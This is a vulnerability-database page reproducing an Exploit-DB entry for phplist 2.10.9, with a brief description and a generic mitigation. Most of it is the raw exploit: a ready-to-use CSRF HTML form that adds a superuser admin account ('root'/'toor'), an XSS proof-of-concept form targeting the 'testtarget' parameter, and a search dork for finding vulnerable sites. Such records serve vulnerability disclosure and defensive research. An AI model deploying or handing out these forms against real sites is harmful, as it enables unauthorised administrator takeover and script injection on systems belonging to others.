phplist - version 2.10.9 CSRF/XSS Vulnerability

vendor:

phplist

by:

Cyber-Crystal

8,8

CVSS

HIGH

CSRF/XSS

352, 79

CWE

Product Name: phplist

Affected Version From: 2.10.9

Affected Version To: 2.10.9

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

n/a

phplist – version 2.10.9 CSRF/XSS Vulnerability

phplist version 2.10.9 is vulnerable to CSRF and XSS attacks. An attacker can exploit this vulnerability by crafting a malicious HTML page with a form that contains hidden input fields with values that can be used to add an admin account. The attacker can also exploit this vulnerability by sending a post request with a malicious XSS payload in the 'testtarget' parameter.

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in the application. Implement a strong access control policy to restrict access to the application.

Source

Exploit-DB raw data:

+-------------------------------------------------------------------------+
# Exploit Title : phplist - version 2.10.9 CSRF/XSS Vulnerability
# version       : 2.10.9                                                                                                                           
# Author        : Cyber-Crystal                                              
# Date          : n/a   
# Dork          : inurl:"powered by phplist - version 2.10.9"
# Software Link : http://www.phplist.com/                                                                                  
+-------------------------------------------------------------------------+

+---+[CSRF Add Admin Acuonnt by Cyber-Crystal]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method="POST" name="form2" action="http://localhost/lists/admin/?page=admin&start=">
<input type="hidden" name="id" value="0"/>
<input type="hidden" name="loginname" value="root"/>
<input type="hidden" name="email" value="ss@ss.com"/>
<input type="hidden" name="password" value="toor"/>
<input type="hidden" name="superuser" value="1"/>
<input type="hidden" name="disabled" value=""/>
<input type="hidden" name="cbattribute[]" value="1"/>
<input type="hidden" name="attribute[1]" value="Checked"/>
<input type="hidden" name="change" value="Save Changes"/>

<input type="submit" value="exploit" />
</form>
</body>
</html>

+---+[XSS Send post ]+---+
<html>
<title>[#] Exploit [#]</title>
<body>
<form method=post action="http://localhost/lists/admin/?page=send&id=1&tab=Format" name="sendmessageform">
<input type=hidden name="workaround_fck_bug" value="1">
<input type=hidden name="htmlformatted" value="auto">
<input type=submit name=sendtest value="Exploit">
<input type=text name="testtarget" size=40 value='[XSS HERE]'>
<input type=hidden name=id value=7>
<input type=hidden name=status value="draft">
<input type=hidden name=expand value="0">
</form>
</body>
</html>

#-----------------------------------#
|  by Cyber-Crystal 			    |
|  								    |
|  Mail : Cyb3r.Crystal@Gmail.com   |
|  Home // www.v4-team.com/cc		|
|     						        |
#-----------------------------------#
Greetz 2 : Secure-x41 | Fox Hacker | Or4nG.M4n | SadHacker | Mr.Black | Red Virus | aBu.HaLiL501 | T7 | Sniper_IRaq || # All Man 0_0



# the End